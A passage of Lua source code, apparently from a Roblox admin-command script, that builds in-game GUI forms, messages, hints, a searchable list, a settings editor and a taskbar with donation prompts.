4094 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
4095 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
4096 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
4097 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
4098 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
4099
4100 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
4101
4102 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
4103
4104 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
4105 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
4106 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
4107 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
4108 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
4109 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
4110
4111 if Settings.EnableTaskBar then
4112 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
4113 else
4114 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
4115 Title.Size = UDim2.new(1, -95, 0, 25)
4116 end
4117
4118 if not ShowFormButtons then
4119 X:Destroy()
4120 TitleEnd:Destroy()
4121 Title.Size = UDim2.new(1, -55, 0, 25)
4122 end
4123
4124 local function CloseForm()
4125 if IsClosed == false then
4126 IsActive.Value = false
4127 IsClosed = true
4128 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
4129 Closed:Fire()
4130 SOUND:PlayNotification(Player, 206375138)
4131 end
4132 end
4133
4134 local function MinimizeForm()
4135 if IsActive.Value == true then
4136 IsActive.Value = false
4137 Minimized:Fire()
4138 MinimizePos = Dragger.Position
4139 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
4140 end
4141 end
4142
4143 local function RestoreForm()
4144 if IsActive.Value == false then
4145 IsActive.Value = true
4146 Restored:Fire()
4147 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
4148 end
4149 end
4150
4151 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
4152 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
4153
4154 Close.OnInvoke = CloseForm
4155 Minimize.OnInvoke = MinimizeForm
4156 Restore.OnInvoke = RestoreForm
4157
4158 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
4159
4160 if TaskBar then
4161 TaskBar:WaitForChild("AddForm")
4162 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
4163 end
4164
4165 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
4166end
4167
4168function GUI:CoreGui(Player, Type, Enable)
4169 local Parent = Player:FindFirstChild("Backpack")
4170 if not Parent then Parent = Player.Backpack end
4171 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4172end
4173
4174function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4175 if not Player or not Player:IsA("Player") then return nil end
4176 if BodyText == "" then return nil end
4177 if not Player:FindFirstChild("PlayerGui") then return nil end
4178
4179 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4180 local TextColor = GUI:GetColor(MessageSplit[1])
4181 if TextColor then BodyText = MessageSplit[2] end
4182 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4183
4184 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
4185 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4186
4187 if Frame then
4188 local FormBar = Frame.Parent.Parent.FormBar
4189 local Said = false
4190 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4191 if Settings.EnableTaskBar then
4192 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4193 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4194 else
4195 Speak.Position = UDim2.new(1, -58, 0, 5)
4196 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4197 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4198 end
4199 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4200 if not Said then
4201 Said = true
4202 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4203 end
4204 end)
4205
4206 if TextColor then
4207 Body.TextColor3 = TextColor
4208 else
4209 Body.TextColor3 = Color3.new(1,1,1)
4210 end
4211
4212 if tonumber(Time) then coroutine.wrap(function()
4213 if AutoTime then
4214 Time = Time + math.floor(#BodyText/7)
4215 end
4216 local Alive = true
4217
4218 local function StopTimer() Alive = false end
4219 Closed.Event:connect(StopTimer)
4220 Minimized.Event:connect(StopTimer)
4221
4222 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4223 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4224 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4225 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4226 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4227 for i = Time,0,-1 do
4228 for ii = 1,10 do
4229 if Alive == true then
4230 Ticker.Text = i
4231 wait(0.1)
4232 else
4233 break
4234 end
4235 end
4236 end
4237 if Alive == true then
4238 Close:Invoke()
4239 else
4240 Ticker:Destroy()
4241 Stop:Destroy()
4242 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4243 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4244 end
4245 end)() end
4246
4247 CORE:ExecuteResource("CalculateScrollY", Body)
4248 end
4249end
4250
4251function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4252 if not Player then return nil end
4253 if not Player:IsA("Player") then return nil end
4254 if BodyText == "" then return nil end
4255 if not Player:FindFirstChild("PlayerGui") then return nil end
4256 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4257 local TextColor = GUI:ContrastColor()
4258 if Error then TextColor = Color3.new(1,0,0) end
4259
4260 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4261 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4262
4263 CORE:ExecuteResource("CalculateScrollY", Body)
4264
4265 return Frame, Close, Closed, Minimize, Minimized
4266end
4267
4268function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4269 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4270 local TweenTime = 0.5
4271 if not Time then Time = 5 end
4272 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4273 local MaxPos = -1
4274 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4275 local IVal = SGObj:FindFirstChild("Index")
4276 if IVal then
4277 MaxPos = math.max(MaxPos, IVal.Value)
4278 end
4279 end
4280 MaxPos = MaxPos + 1
4281 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4282 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4283 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4284 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4285 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4286 SG.Parent = Player.PlayerGui
4287
4288 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4289 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4290
4291 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4292 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4293 Delay(TweenTime, function()
4294 for i = 1,0,-0.1 do
4295 Body.TextTransparency = i
4296 wait()
4297 end
4298 Body.TextTransparency = 0
4299 end)
4300 Delay(TweenTime + Time, function()
4301 for i = 0,1,0.1 do
4302 Body.TextTransparency = i
4303 wait()
4304 end
4305 Body.TextTransparency = 1
4306 local Done = false
4307 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4308 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4309 end)
4310
4311end)() end
4312
4313function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4314 if not Player then return nil end
4315 if not Player:FindFirstChild("PlayerGui") then return nil end
4316 if not PreSearch then PreSearch = "" end
4317 if AutoNumber == nil then AutoNumber = true end
4318
4319 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4320 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4321 SearchBar.Parent = Frame.Parent
4322 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4323 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4324
4325 local SearchVer = 0,nil
4326 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4327 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4328 local InDialog = false
4329
4330 local function ShowResults(Key)
4331 SearchVer = SearchVer + 1
4332 local ThisSearchVer = SearchVer
4333
4334 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4335 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4336
4337 local NumPos,Num = 0,1
4338
4339 for _,Data in pairs(List) do
4340 if ThisSearchVer ~= SearchVer then
4341 break
4342 end
4343 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4344 if String then
4345 local ImageIcon = nil
4346 if type(Data) == "table" then
4347 String = Data[1]
4348 ImageIcon = Data[2]
4349 end
4350
4351 local TextColor = GUI:ContrastColor()
4352 local StringSplit = STRING:GetSplit(String, 1, " ")
4353 local NewColor = GUI:GetColor(StringSplit[1])
4354 if NewColor then TextColor = NewColor String = StringSplit[2] end
4355
4356 if string.find(string.lower(String), string.lower(Key)) then
4357 Spacer = false
4358 local Font = Settings.Font
4359 local Split = STRING:GetSplit(String, 1, " ")
4360 if string.sub(string.lower(String),1,6) == "bold: " then
4361 Font = "ArialBold"
4362 String = string.sub(String,7)
4363 elseif Fonts[Split[1]] then
4364 Font = Split[1]
4365 String = Split[2]
4366 end
4367 if string.sub(String,1,2) == "--" then
4368 Spacer = true
4369 end
4370 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4371 if ImageIcon then
4372 if tonumber(ImageIcon) then
4373 ImageIcon = "rbxassetid://"..ImageIcon
4374 elseif Icons[ImageIcon] then
4375 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4376 end
4377
4378 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4379 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4380 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4381 Content.Text = ""
4382 NumPos = NumPos + 90
4383 else
4384 NumPos = NumPos + 30
4385 end
4386
4387 if not Clickable then
4388 Content.AutoButtonColor = false
4389 Content.Active = false
4390 Content.BackgroundTransparency = 1
4391 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4392 SOUND:BindButton(Content)
4393 CORE:HandleEvent(Content, "MouseButton1Down", function()
4394 if not InDialog then
4395 Clicked:Fire(String)
4396 end
4397 end, true)
4398 end
4399 if Spacer == false then Num = Num + 1 end
4400 end
4401 end
4402 end
4403 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4404 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4405 end
4406
4407 RequestDialog.OnInvoke = function(RequestDialogCall)
4408 InDialog = RequestDialogCall
4409 end
4410
4411 ShowResults(PreSearch)
4412
4413 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4414 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4415 if Prop == "Text" then
4416 local Text = CORE:ReadProperty(RPR, Player, "Text")
4417 ShowResults(Text)
4418 Frame.CanvasPosition = Vector2.new(0,0)
4419 end
4420 end)
4421
4422 return Clicked, RequestDialog, Close
4423end
4424
4425function GUI:PropertyGui(Player, Title, Icon, Properties)
4426 if not Player then return nil end
4427 if not Player:FindFirstChild("PlayerGui") then return nil end
4428 if type(Properties) ~= "table" then return nil end
4429 local HasClosed = false
4430 local NewProperties = {}
4431
4432 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4433 Frame.ClipsDescendants = true
4434 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4435
4436 for PropertyName,Data in pairs(Properties) do
4437 NewProperties[PropertyName] = Data[1]
4438 end
4439
4440 local YCount = 0
4441
4442 for PropertyName,Data in pairs(Properties) do
4443 if type(Data) == "table" then
4444 local DefaultValue = Data[1]
4445 local Writable = Data[2]
4446 local ValueType = Data[3]
4447
4448 if Writable == nil then Writable = false end
4449 if type(ValueType) == "string" then -- now this is confusing
4450 ValueType = string.lower(ValueType)
4451 elseif ValueType == nil then
4452 ValueType = type(DefaultValue)
4453 end
4454
4455 if ValueType == "nil" or ValueType == "userdata" then
4456 ValueType = nil
4457 elseif ValueType == "table" then
4458 DefaultValue = STRING:UnpackArgs(DefaultValue)
4459 ValueType = "string"
4460 end
4461
4462 if ValueType then
4463 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4464 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4465 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4466
4467 if ValueType == "string" or ValueType == "number" then
4468 if Writable == true then
4469 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4470 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4471 if ValueType == "number" then
4472 NewProperties[PropertyName] = tonumber(Input.Text)
4473 else
4474 NewProperties[PropertyName] = tostring(Input.Text)
4475 end
4476 end end)
4477 else
4478 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4479 end
4480 end
4481 if ValueType == "boolean" then
4482 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4483 if DefaultValue == true then
4484 Check.Image = "rbxassetid://48138491"
4485 end
4486 if Writable == true then
4487 CORE:HandleEvent(Check, "MouseButton1Down", function()
4488 local NewVal = not NewProperties[PropertyName]
4489 NewProperties[PropertyName] = NewVal
4490 if NewVal == true then
4491 Check.Image = "rbxassetid://48138491"
4492 else
4493 Check.Image = "rbxassetid://48138474"
4494 end
4495 end)
4496 else
4497 Check.ImageTransparency = 0.5
4498 end
4499 end
4500 YCount = YCount + 50
4501 end
4502 end
4503 end
4504
4505 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4506
4507 Closed.Event:connect(function() HasClosed = true end)
4508
4509 repeat wait(0.1) until HasClosed
4510 return NewProperties
4511end
4512
4513function GUI:SettingsGui(Player)
4514 if not Player then return nil end
4515 local CloneViewSettings,CanChange = {},false
4516
4517 local ViewSettings = {
4518 ["Version"] = {CORE.Version.Value, false, nil};
4519 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4520 ["Font"] = {Settings.Font, 3, "Font"};
4521 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4522 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4523 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4524 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4525 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4526 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4527 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4528 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4529 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4530 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4531 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4532 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4533 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4534 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4535 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4536 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4537 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4538 ["Bet"] = {Settings.Bet, 3, "Bet"};
4539 }
4540
4541 local _,RankNum = RANK:GetRank(Player)
4542 if RankNum >= 3 then
4543 CanChange = true
4544 end
4545
4546 for Prop,Data in pairs(ViewSettings) do
4547 local Writable = false
4548 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4549 CloneViewSettings[Prop] = {Data[1], Writable}
4550 end
4551
4552 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4553 if CanChange then
4554 for Prop,Data in pairs(ViewSettings) do
4555 if Data[3] then
4556 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4557 end
4558 end
4559 CORE:FixSettings()
4560 end
4561end
4562
4563function GUI:MessageAdmins(TitleText, BodyText, Icon)
4564 for _,Player in pairs(Server.Players:GetPlayers()) do
4565 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4566 if PlayerAdmin then
4567 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4568 end
4569 end
4570end
4571
4572function GUI:TellAdmin(Player)
4573 if not Player then return end
4574
4575 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4576 if ValidAdmin == true then
4577 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4578 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4579 local SoundID = 237866523
4580 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4581 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4582 Sound:Play()
4583 coroutine.wrap(function()
4584 wait(4)
4585 Sound:Stop()
4586 Sound:Destroy()
4587 end)()
4588 end
4589 end
4590end
4591
4592function GUI:TellNotAdmin(Player)
4593 if not Player then return end
4594
4595 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4596end
4597
4598function GUI:CreateTaskBar(Player)
4599 if not Player then return nil end
4600 if Settings.EnableTaskBar == false then return nil end
4601 Player:WaitForChild("PlayerGui")
4602 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4603 if SG then SG:Destroy() end
4604 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4605 local IsMoving = false
4606 local TaskBarShown = false
4607 local Tasks = {}
4608
4609 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4610 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4611
4612 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4613 local Open,CloseForm = false,nil
4614 if Settings.EnableAdminMenu then
4615 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4616 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4617 if Open == false then
4618 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4619 Open,CloseForm = true,Close
4620
4621 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4622 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4623 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4624 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4625 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4626 local function DonateMoney(Type, Element)
4627 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4628 local Get = Request[Type]
4629 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4630 Server.MPS:PromptPurchase(Player, Get[1], true)
4631 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4632 Server.MPS:PromptPurchase(Player, Get[2], true)
4633 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4634 Server.MPS:PromptPurchase(Player, Get[3], true)
4635 else
4636 Element.Text = "Cannot get request"
4637 end
4638 end
